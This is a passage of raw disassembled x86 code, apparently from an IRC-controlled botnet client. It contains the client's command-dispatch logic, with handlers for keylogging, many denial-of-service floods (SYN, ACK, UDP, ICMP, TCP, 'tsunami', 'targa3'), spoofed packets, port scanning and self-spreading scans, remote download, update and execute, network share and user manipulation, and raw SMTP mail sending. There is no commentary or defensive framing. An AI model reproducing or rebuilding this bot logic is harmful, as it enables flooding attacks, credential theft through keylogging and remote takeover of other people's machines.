eax, ebx mov dword_440BAC[ecx], eax jnz short loc_405DB8 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42C7A0 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_405DB0: ; CODE XREF: sub_401B66+4258j push 32h call dword_428064 ; Sleep loc_405DB8: ; CODE XREF: sub_401B66+4237j cmp [ebp+var_E30], ebx jz short loc_405DB0 jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_405DC5: ; CODE XREF: sub_401B66+4171j push [ebp+arg_10] push offset aOff ; "off" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_406EC5 push ebx push 21h call sub_40B182 pop ecx cmp eax, ebx pop ecx jle short loc_405DF5 push eax push offset unk_42C760 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_405DF5: ; CODE XREF: sub_401B66+4282j push offset unk_42C72C jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_405DFF: ; CODE XREF: sub_401B66+415Aj push edi push offset aKeylog ; "keylog" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_405F87 push [ebp+arg_10] push offset aOn ; "on" call sub_41C840 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405E75 push [ebp+arg_10] push edi call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_405E75 push [ebp+arg_10] push offset aOff ; "off" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_406EC5 push ebx push 23h call sub_40B182 pop ecx cmp eax, ebx pop ecx jle short loc_405E6B push eax push offset dword_42C6E0 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_405E6B: ; CODE XREF: sub_401B66+42F8j push offset dword_42C6B4 jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_405E75: ; CODE XREF: sub_401B66+42C4j ; sub_401B66+42D3j push 23h call sub_40B1CF test eax, eax pop ecx jle short loc_405E8B push offset dword_42C694 jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_405E8B: ; CODE XREF: sub_401B66+4319j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C58], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD0], eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_405EB8 mov [ebp+var_BCC], 1 jmp short loc_405EC1 ; --------------------------------------------------------------------------- loc_405EB8: ; CODE XREF: sub_401B66+4344j mov eax, [ebp+var_8] mov [ebp+var_BCC], eax loc_405EC1: ; CODE XREF: sub_401B66+4350j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405EE8 mov esi, offset aGxxx_1 ; "#Gxxx" push offset byte_43FE14 push esi call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_405EE8 mov esi, [ebp+var_88] loc_405EE8: ; CODE XREF: sub_401B66+4364j ; sub_401B66+437Aj push esi lea eax, [ebp+var_C50] push 80h push eax call sub_41C150 lea eax, [ebp+var_2C0] push offset dword_42C670 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 23h push eax call sub_40AF8D add esp, 20h mov [ebp+var_C54], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C58] push ebx push eax push offset sub_41234A push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_C54] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_405F7A call dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42C634 loc_405F5E: ; CODE XREF: sub_401B66+205Aj ; sub_401B66+2E8Bj ... lea eax, [ebp+var_2C0] push eax call sub_41C056 loc_405F6A: ; CODE XREF: sub_401B66+2E80j ; sub_401B66+54AAj add esp, 0Ch jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_405F72: ; CODE XREF: sub_401B66+441Aj push 32h call dword_428064 ; Sleep loc_405F7A: ; CODE XREF: sub_401B66+43EAj cmp [ebp+var_BC8], ebx jz short loc_405F72 jmp loc_406EC5 ; --------------------------------------------------------------------------- loc_405F87: ; CODE XREF: sub_401B66+42A8j push edi push offset aNet ; "net" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40622E cmp dword_4CDD30, ebx jz short loc_405FB6 cmp dword_4CDD58, ebx jz short loc_405FB6 push offset unk_42C5F8 jmp loc_40621B ; --------------------------------------------------------------------------- loc_405FB6: ; CODE XREF: sub_401B66+443Cj ; sub_401B66+4444j cmp [ebp+var_C], ebx jz loc_406C9B mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_405FDB push edi push [ebp+var_C] call sub_41C0D0 pop ecx mov [ebp+arg_0], eax pop ecx loc_405FDB: ; CODE XREF: sub_401B66+4465j push [ebp+arg_10] push offset aStart ; "start" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_406048 cmp edi, ebx jz short loc_406016 push [ebp+arg_0] push 3 loc_405FF7: ; CODE XREF: sub_401B66+44FAj ; sub_401B66+4514j ... call sub_418E93 push eax lea eax, [ebp+var_2C0] push offset aS_2 ; "%s" push eax call sub_41C056 add esp, 14h jmp loc_406C9B ; --------------------------------------------------------------------------- loc_406016: ; CODE XREF: sub_401B66+448Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41913A add esp, 0Ch test eax, eax lea eax, [ebp+var_2C0] jz short loc_40603E push offset unk_42C5CC jmp loc_406221 ; --------------------------------------------------------------------------- loc_40603E: ; CODE XREF: sub_401B66+44CCj push offset unk_42C5AC jmp loc_406221 ; --------------------------------------------------------------------------- loc_406048: ; CODE XREF: sub_401B66+4486j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_406062 push [ebp+arg_0] push 4 jmp short loc_405FF7 ; --------------------------------------------------------------------------- loc_406062: ; CODE XREF: sub_401B66+44F3j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40607F push [ebp+arg_0] push 5 jmp loc_405FF7 ; --------------------------------------------------------------------------- loc_40607F: ; CODE XREF: sub_401B66+450Dj push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40609C push [ebp+arg_0] push 6 jmp loc_405FF7 ; --------------------------------------------------------------------------- loc_40609C: ; CODE XREF: sub_401B66+452Aj push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_4060B9 push [ebp+arg_0] push 1 jmp loc_405FF7 ; --------------------------------------------------------------------------- loc_4060B9: ; CODE XREF: sub_401B66+4547j push [ebp+arg_10] push offset aShare ; "share" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_406139 cmp edi, ebx jz short loc_406106 cmp [ebp+var_8F8], bl jz short loc_4060DE push ebx push edi push 1 jmp short loc_4060E7 ; --------------------------------------------------------------------------- loc_4060DE: ; CODE XREF: sub_401B66+4570j push [ebp+esi+var_84] push edi push ebx loc_4060E7: ; CODE XREF: sub_401B66+4576j call sub_41927A push eax lea eax, [ebp+var_2C0] push offset aS_2 ; "%s" push eax call sub_41C056 add esp, 18h jmp loc_406C9B ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_401B66+4568j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41946F add esp, 10h test eax, eax lea eax, [ebp+var_2C0] jz short loc_40612F push offset unk_42C564 jmp loc_406221 ; --------------------------------------------------------------------------- loc_40612F: ; CODE XREF: sub_401B66+45BDj push offset unk_42C544 jmp loc_406221 ; --------------------------------------------------------------------------- loc_406139: ; CODE XREF: sub_401B66+4564j push [ebp+arg_10] push offset aUser ; "user" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_4061CA cmp edi, ebx jz short loc_40619D push [ebp+var_4] cmp [ebp+var_8F8], bl push [ebp+var_88] push [ebp+arg_4] jz short loc_40616A push ebx push edi push 1 jmp short loc_40617E ; --------------------------------------------------------------------------- loc_40616A: ; CODE XREF: sub_401B66+45FCj mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_40617A push esi push edi push ebx jmp short loc_40617E ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_401B66+460Dj push ebx push edi push 2 loc_40617E: ; CODE XREF: sub_401B66+4602j ; sub_401B66+4612j call sub_419590 push eax lea eax, [ebp+var_2C0] push offset aS_2 ; "%s" push eax call sub_41C056 add esp, 24h jmp loc_406C9B ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401B66+45E8j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_419AA4 add esp, 10h test eax, eax lea eax, [ebp+var_2C0] jz short loc_4061C3 push offset unk_42C524 jmp short loc_406221 ; --------------------------------------------------------------------------- loc_4061C3: ; CODE XREF: sub_401B66+4654j push offset unk_42C504 jmp short loc_406221 ; --------------------------------------------------------------------------- loc_4061CA: ; CODE XREF: sub_401B66+45E4j push [ebp+arg_10] push offset aSend ; "send" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_406216 cmp edi, ebx jz short loc_40620F push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419D4E push eax lea eax, [ebp+var_2C0] push offset aS_2 ; "%s" push eax call sub_41C056 add esp, 1Ch jmp loc_406C9B ; --------------------------------------------------------------------------- loc_40620F: ; CODE XREF: sub_401B66+4679j push offset unk_42C4D8 jmp short loc_40621B ; --------------------------------------------------------------------------- loc_406216: ; CODE XREF: sub_401B66+4675j push offset unk_42C4BC loc_40621B: ; CODE XREF: sub_401B66+2E2Bj ; sub_401B66+444Bj ... lea eax, [ebp+var_2C0] loc_406221: ; CODE XREF: sub_401B66+44D3j ; sub_401B66+44DDj ... push eax call sub_41C056 pop ecx pop ecx jmp loc_406C9B ; --------------------------------------------------------------------------- loc_40622E: ; CODE XREF: sub_401B66+4430j push edi push offset aCapture ; "capture" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408D37 push edi push offset aCap ; "cap" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408D37 push edi push offset aGethost ; "gethost" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408C53 push edi push offset aGh ; "gh" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408C53 loc_406282: ; CODE XREF: sub_401B66+3C5Ej ; sub_401B66+3C8Dj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401F9E push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408C36 push [ebp+arg_8] push offset aKl ; "kl" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408C36 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408BF5 push [ebp+arg_8] push offset aAa ; "aa" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408BF5 push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408B9B push [ebp+arg_8] push offset dword_42CBB8 call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408B9B push [ebp+arg_8] push offset aAction ; "action" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408B29 push [ebp+arg_8] push offset aA ; "a" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408B29 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408AC5 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408AC5 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408A87 push [ebp+arg_8] push offset aM ; "m" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408A87 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408A1B push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408A1B push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408998 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408998 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40892B push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40892B push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408905 push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408905 push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4088A1 push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4088A1 push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4087A9 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4087A9 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4086D8 push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4086D8 push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408613 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408613 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408576 push [ebp+arg_8] push offset aDe ; "de" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408576 push [ebp+arg_8] push offset aUpdate909 ; "update909" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4083FA push [ebp+arg_8] push offset aUp909 ; "up909" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4083FA push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408361 push [ebp+arg_8] push offset aE ; "e" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408361 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408255 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408255 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408204 push [ebp+arg_8] push offset aMv ; "mv" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408204 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40810A push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_40810A mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F9E push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408023 push [ebp+arg_8] push offset aC_0 ; "c" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_408023 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407F12 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407F12 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407F12 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_406794 push 7Fh lea eax, [ebp+var_348C] pop esi push esi push [ebp+arg_10] push eax call sub_41BDC0 push esi lea eax, [ebp+var_340C] push edi push eax call sub_41BDC0 push esi lea eax, [ebp+var_338C] push [ebp+arg_0] push eax call sub_41BDC0 push esi lea eax, [ebp+var_330C] push [ebp+var_88] push eax call sub_41BDC0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3284], eax push ebx lea eax, [ebp+var_2C0] push 13h push eax mov [ebp+var_3288], edi mov [ebp+var_3490], esi call sub_40AF8D add esp, 3Ch mov [ebp+var_328C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3490] push ebx push eax push offset sub_414CD8 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_328C] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_406787 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42C32C jmp loc_403E6C ; --------------------------------------------------------------------------- loc_40677F: ; CODE XREF: sub_401B66+4C27j push 32h call dword_428064 ; Sleep loc_406787: ; CODE XREF: sub_401B66+4C06j cmp [ebp+var_3280], ebx jz short loc_40677F jmp loc_403E7B ; --------------------------------------------------------------------------- loc_406794: ; CODE XREF: sub_401B66+4B5Cj push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407E2B push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407E2B push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_4068C0 push 7Fh lea eax, [ebp+var_3064] pop esi push esi push [ebp+arg_10] push eax call sub_41BDC0 push esi lea eax, [ebp+var_2FE4] push edi push eax call sub_41BDC0 push esi lea eax, [ebp+var_2F64] push [ebp+arg_0] push eax call sub_41BDC0 push esi lea eax, [ebp+var_2EE4] push [ebp+var_88] push eax call sub_41BDC0 push [ebp+arg_0] mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_2E60], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2E5C], eax lea eax, [ebp+var_2C0] mov [ebp+var_3068], esi push offset dword_42C2E4 push eax call sub_41C056 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 10h push eax call sub_40AF8D add esp, 0Ch mov [ebp+var_2E64], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3068] push ebx push eax push offset sub_413C53 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_2E64] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_4068B3 call dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42C2A8 jmp loc_407FF0 ; --------------------------------------------------------------------------- loc_4068AB: ; CODE XREF: sub_401B66+4D53j push 32h call dword_428064 ; Sleep loc_4068B3: ; CODE XREF: sub_401B66+4D32j cmp [ebp+var_2E58], ebx jz short loc_4068AB jmp loc_407FFF ; --------------------------------------------------------------------------- loc_4068C0: ; CODE XREF: sub_401B66+4C6Dj push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407D44 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407D44 push [ebp+arg_8] push offset aDownload909 ; "download909" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407C0A push [ebp+arg_8] push offset aD1909 ; "d1909" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407C0A push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407B11 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407B11 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407A1F push [ebp+arg_8] push offset aSc ; "sc" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407A1F push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407942 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407942 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407828 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407828 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F9E push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407723 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407723 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407250 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407250 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407131 push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407131 push [ebp+arg_8] push offset aU ; "u" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407131 push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407015 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_407015 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_406EEF push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_406EEF push [ebp+arg_8] push offset aP ; "p" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_406EEF push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_406D2B push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_406D2B push [ebp+arg_8] push offset aEmail ; "email" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_406CD3 push [ebp+arg_10] lea eax, [ebp+var_47E8] push eax call sub_41C680 push edi call sub_41BF49 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4184] push eax call sub_41C680 push [ebp+arg_18] lea eax, [ebp+var_4584] push eax call sub_41C680 push offset asc_42E0C8 ; " " push offset dword_42CBB4 push [ebp+esi+var_7C] call sub_4185D4 push eax lea eax, [ebp+var_4284] push eax call sub_41C680 add esp, 30h lea eax, [ebp+var_5584] push eax push 101h call dword_4CDBD4 ; WSAStartup lea eax, [ebp+var_47E8] push eax call dword_4CDCE8 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4CDCE4 ; socket push [ebp+arg_10] mov esi, eax mov [ebp+var_318], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_314], eax call dword_4CDC64 ; ntohs mov [ebp+var_316], ax lea eax, [ebp+var_4284] push eax lea eax, [ebp+var_4184] push eax lea eax, [ebp+var_4284] push eax lea eax, [ebp+var_4584] push eax lea eax, [ebp+var_4184] push eax lea eax, [ebp+var_5984] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C056 add esp, 1Ch lea eax, [ebp+var_318] push 10h push eax push esi call dword_4CDC0C ; connect mov edi, 100h push ebx lea eax, [ebp+var_4084] push edi push eax push esi call dword_4CDC7C ; recv lea eax, [ebp+var_4084] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_5984] push eax push esi call dword_4CDCB4 ; send push ebx lea eax, [ebp+var_4084] push edi push eax push esi call dword_4CDC7C ; recv push esi call dword_4CDCFC ; closesocket call dword_4CDBBC ; WSACleanup lea eax, [ebp+var_4584] push eax push offset unk_42C164 loc_406C8C: ; CODE XREF: sub_401B66+2E3Aj ; sub_401B66+658Aj ... lea eax, [ebp+var_2C0] loc_406C92: ; CODE XREF: sub_401B66+688Fj push eax call sub_41C056 loc_406C98: ; CODE XREF: sub_401B66+23B8j add esp, 0Ch loc_406C9B: ; CODE XREF: sub_401B66+4453j ; sub_401B66+44ABj ... cmp [ebp+var_8], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409982 add esp, 14h loc_406CBC: ; CODE XREF: sub_401B66+2935j ; sub_401B66+294Aj ... mov esi, [ebp+arg_24] loc_406CBF: ; CODE XREF: sub_401B66+8B5j ; sub_401B66+77C1j ... lea eax, [ebp+var_2C0] push eax call sub_4157A5 pop ecx mov eax, esi jmp loc_401FA1 ; --------------------------------------------------------------------------- loc_406CD3: ; CODE XREF: sub_401B66+4FD0j push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_406CFD push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_4072A0 loc_406CFD: ; CODE XREF: sub_401B66+517Ej push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41BF49 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410923 jmp loc_40976C ; --------------------------------------------------------------------------- loc_406D2B: ; CODE XREF: sub_401B66+4FA2j ; sub_401B66+4FB9j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1350] push esi push eax call sub_41C150 lea eax, [ebp+var_1350] push eax push offset aSyn ; "syn" call sub_41C840 add esp, 14h test eax, eax jz short loc_406D90 lea eax, [ebp+var_1350] push eax push offset aAck ; "ack" call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_406D90 lea eax, [ebp+var_1350] push eax push offset aRandom_0 ; "random" call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_406D90 push offset unk_42C11C jmp loc_406EB7 ; --------------------------------------------------------------------------- loc_406D90: ; CODE XREF: sub_401B66+51F0j ; sub_401B66+5207j ... push [ebp+arg_18] call sub_41BF49 cmp eax, ebx pop ecx mov [ebp+var_1248], eax jle loc_406EB2 push [ebp+arg_10] lea eax, [ebp+var_1350] push esi push eax call sub_41C150 push edi lea eax, [ebp+var_13D0] push esi push eax call sub_41C150 push [ebp+arg_0] call sub_41BF49 mov [ebp+var_124C], eax xor eax, eax cmp [ebp+var_8EA], bl push [ebp+var_88] setnz al mov [ebp+var_1244], eax mov eax, [ebp+arg_4] mov [ebp+var_13D4], eax lea eax, [ebp+var_12D0] push esi push eax call sub_41C150 mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_1244], ebx mov [ebp+var_1240], eax mov eax, [ebp+var_8] mov [ebp+var_123C], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E27 mov eax, offset aNormal ; "Normal" loc_406E27: ; CODE XREF: sub_401B66+52BAj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42C0D8 lea eax, [ebp+var_2C0] push 200h push eax call sub_41C150 push ebx lea eax, [ebp+var_2C0] push 14h push eax call sub_40AF8D add esp, 2Ch mov [ebp+var_1250], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D4] push ebx push eax push offset sub_41444D push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_1250] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_406EA8 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42C0A0 jmp loc_405F5E ; --------------------------------------------------------------------------- loc_406EA0: ; CODE XREF: sub_401B66+5348j push 32h call dword_428064 ; Sleep loc_406EA8: ; CODE XREF: sub_401B66+5327j cmp [ebp+var_1238], ebx jz short loc_406EA0 jmp short loc_406EC5 ; --------------------------------------------------------------------------- loc_406EB2: ; CODE XREF: sub_401B66+523Bj push offset unk_42C068 loc_406EB7: ; CODE XREF: sub_401B66+1F3Ej ; sub_401B66+1F54j ... lea eax, [ebp+var_2C0] push eax call sub_41C056 pop ecx pop ecx loc_406EC5: ; CODE XREF: sub_401B66+206Fj ; sub_401B66+2571j ... cmp [ebp+var_8], ebx jnz loc_402418 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_406EE2: ; CODE XREF: sub_401B66+232Ej call sub_409982 add esp, 14h jmp loc_402418 ; --------------------------------------------------------------------------- loc_406EEF: ; CODE XREF: sub_401B66+4F5Dj ; sub_401B66+4F74j ... cmp dword_4CDD50, ebx jnz loc_406FFA mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_FF4], eax lea eax, [ebp+var_1088] push eax call sub_41BDC0 push edi call sub_41BF49 push [ebp+arg_0] mov [ebp+var_1008], eax call sub_41BF49 push [ebp+arg_18] mov [ebp+var_1004], eax call sub_41BF49 push 7Fh mov [ebp+var_1000], eax push [ebp+var_88] lea eax, [ebp+var_1108] push eax call sub_41BDC0 push [ebp+var_1000] mov eax, [ebp+arg_4] mov [ebp+var_110C], eax lea eax, [ebp+var_1088] push [ebp+var_1004] push eax lea eax, [ebp+var_2C0] push [ebp+var_1008] push offset unk_42C020 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 16h push eax call sub_40AF8D add esp, 48h mov [ebp+var_FF8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_110C] push ebx push eax push offset sub_4138B0 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_FF8] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_406FED call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42BFE4 